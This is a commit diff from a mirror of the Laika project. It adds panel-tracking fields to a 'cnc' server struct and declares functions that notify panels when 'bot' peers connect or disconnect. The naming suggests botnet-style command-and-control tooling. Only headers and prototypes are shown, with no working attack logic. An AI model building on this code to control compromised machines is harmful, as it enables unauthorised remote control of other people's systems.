1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-10-09 01:10:14 +00:00

Added cnc's panel list, minor refactoring of packets

This commit is contained in:
2022-02-12 18:21:59 -06:00
parent 49a992c70a
commit a442f2f493
5 changed files with 140 additions and 4 deletions

View File

@@ -11,11 +11,20 @@ struct sLaika_cnc {
uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
struct sLaika_socket sock;
struct sLaika_pollList pList;
struct sLaika_peer **panels; /* holds connected panel peers */
int panelCount;
int panelCap;
};
struct sLaika_cnc *laikaC_newCNC(uint16_t port);
void laikaC_freeCNC(struct sLaika_cnc *cnc);
void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer);
void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer);
void laikaC_addPanel(struct sLaika_cnc *cnc, struct sLaika_peer *panel);
void laikaC_rmvPanel(struct sLaika_cnc *cnc, struct sLaika_peer *panel);
void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer);
bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout);

10
cnc/include/cpanel.h Normal file
View File

@@ -0,0 +1,10 @@
#ifndef LAIKA_CNC_PANEL_H
#define LAIKA_CNC_PANEL_H
#include "lpeer.h"
void laikaC_sendNewPeer(struct sLaika_peer *panel, struct sLaika_peer *bot);
void laikaC_sendRmvPeer(struct sLaika_peer *panel, struct sLaika_peer *bot);
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *panel, LAIKAPKT_SIZE sz, void *uData);
#endif